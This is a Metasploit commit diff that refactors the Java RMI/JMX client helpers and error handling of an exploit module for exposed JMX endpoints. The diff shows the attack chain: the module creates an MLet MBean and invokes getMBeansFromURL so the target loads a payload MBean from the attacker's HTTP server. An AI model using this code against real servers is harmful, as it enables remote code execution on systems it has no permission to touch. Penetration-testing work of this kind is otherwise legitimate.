JMX code refactoring

This commit is contained in:
jvazquez-r7
2015-03-23 17:06:51 -05:00
parent 6934fde5a1
commit d8d4c23d60
7 changed files with 170 additions and 199 deletions
+56 -28
View File
@@ -4,12 +4,10 @@ module Msf
module Java
module Rmi
module Client
module Registry
module Connection
require 'msf/java/rmi/client/jmx/connection/builder'
require 'msf/java/rmi/client/jmx/connection/parser'
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
include Msf::Java::Rmi::Client::Jmx::Connection::Parser
def send_jmx_get_object_instance(opts = {})
send_call(
@@ -21,40 +19,70 @@ module Msf
sock: opts[:sock] || sock
)
return_value
#remote_object = parse_jmx_get_object_instance(return_value)
if return_value.nil?
return nil
end
#remote_object
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
end
def send_jmx_create_mbean(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_create_mbean(opts)
)
def send_jmx_create_mbean(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_create_mbean(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
return_value = recv_return(
sock: opts[:sock] || sock
)
return_value
#remote_object = parse_jmx_get_object_instance(return_value)
if return_value.nil?
return nil
end
#remote_object
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
def send_jmx_invoke(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_invoke(opts)
)
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
return_value = recv_return(
sock: opts[:sock] || sock
)
true
end
return_value
def send_jmx_invoke(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_invoke(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'java.util.HashSet'
return nil
end
true
end
end
end
end
@@ -1,39 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Connection
module Parser
def parse_jmx_get_object_instance(return_value)
if return_value.nil? || return_value.is_exception?
puts "is exception :?"
puts "#{return_value.value[0].class}"
puts "#{return_value.value[0].class_desc.description.class_name.contents}"
return nil
end
puts "#{return_value.value[0].class}"
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
return nil
end
case return_value.value[0].class_desc.description
when Rex::Java::Serialization::Model::NewClassDesc
return return_value.value[0].class_desc.description.class_name.contents
when Rex::Java::Serialization::Model::ProxyClassDesc
return return_value.value[0].class_desc.description.interfaces[0].contents
else
return nil
end
end
end
end
end
end
end
end
end
+6 -8
View File
@@ -27,19 +27,17 @@ module Msf
sock: opts[:sock] || sock
)
remote_object = parse_jmx_new_client(return_value)
if remote_object.nil?
if return_value.nil?
return nil
end
remote_location = parse_jmx_new_client_endpoint(return_value)
if remote_location.nil?
return nil
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
{object: remote_object}.merge(remote_location)
ref = parse_jmx_new_client(return_value)
ref
end
end
end
+11 -13
View File
@@ -14,22 +14,24 @@ module Msf
# @param return_value [Rex::Proto::Rmi::Model::ReturnValue]
# @return [String, NilClass] The remote object name if success, nil otherwise
def parse_jmx_new_client(return_value)
if return_value.nil? || return_value.is_exception?
return nil
end
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
return nil
end
return_object = ''
case return_value.value[0].class_desc.description
when Rex::Java::Serialization::Model::NewClassDesc
return return_value.value[0].class_desc.description.class_name.contents
return_object = return_value.value[0].class_desc.description.class_name.contents
when Rex::Java::Serialization::Model::ProxyClassDesc
return return_value.value[0].class_desc.description.interfaces[0].contents
return_object = return_value.value[0].class_desc.description.interfaces[0].contents
else
return nil
end
unless return_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
return nil
end
ref = parse_jmx_new_client_endpoint(return_value)
ref
end
# Parses a java.rmi.registry.Registry.lookup() return value to find out
@@ -38,10 +40,6 @@ module Msf
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_jmx_new_client_endpoint(return_value)
if return_value.nil? || return_value.is_exception?
return nil
end
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
+1
View File
@@ -3,5 +3,6 @@
# JAVA RMI Wire protocol implementation
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
require 'rex/proto/rmi/exception'
require 'rex/proto/rmi/model'
+10
View File
@@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
class Exception
end
end
end
end
+86 -111
View File
@@ -8,7 +8,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Jmx
include Msf::Exploit::Remote::HttpServer
include Msf::Java::Rmi::Client
@@ -185,68 +184,51 @@ class Metasploit3 < Msf::Exploit::Remote
return nil
end
print_status("#{ref.inspect}")
ref
end
def handshake(mbean)
ref = send_new_client(
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
)
print_status("#{ref.inspect}")
ref
=begin
case answer
when 'java.lang.SecurityException'
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
return nil
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
vprint_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents))
else
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
begin
ref = send_new_client(
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
return nil
end
print_status("#{conn_stub.inspect}")
conn_stub
=end
ref
end
def load_payload(conn_stub)
vprint_status("#{peer} - Getting JMXPayload instance...")
return_value = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
if return_value.nil?
return false
elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
elsif return_value.is_exception?
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - JMXPayload instance found, using it")
return true
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
return false
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
else
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
return false
end
end
return false if res.nil?
true
end
def load_payload_from_url(conn_stub)
@@ -255,85 +237,78 @@ class Metasploit3 < Msf::Exploit::Remote
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
return_value = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
res = true
when 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
res = nil
else
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
res = nil
end
end
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The request to createMBean failed")
return false
end
if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet created")
else
vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}")
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
return false
end
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
return_value = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The request to GetObjectInstance failed")
return false
elsif return_value.is_exception?
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - MLet instance found, using it")
else
vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
end
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
return_value = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
vprint_status("Stopping service...")
stop_service
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
return false
ensure
vprint_status("Stopping service...")
stop_service
end
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The call to getMBeansFromURL failed")
return false
end
answer = extract_object(return_value.value[0])
if answer.nil?
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
return false
end
case answer
when 'java.util.HashSet'
vprint_good("#{peer} - The remote payload has been loaded!")
return true
else
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
return false
end
true
end
end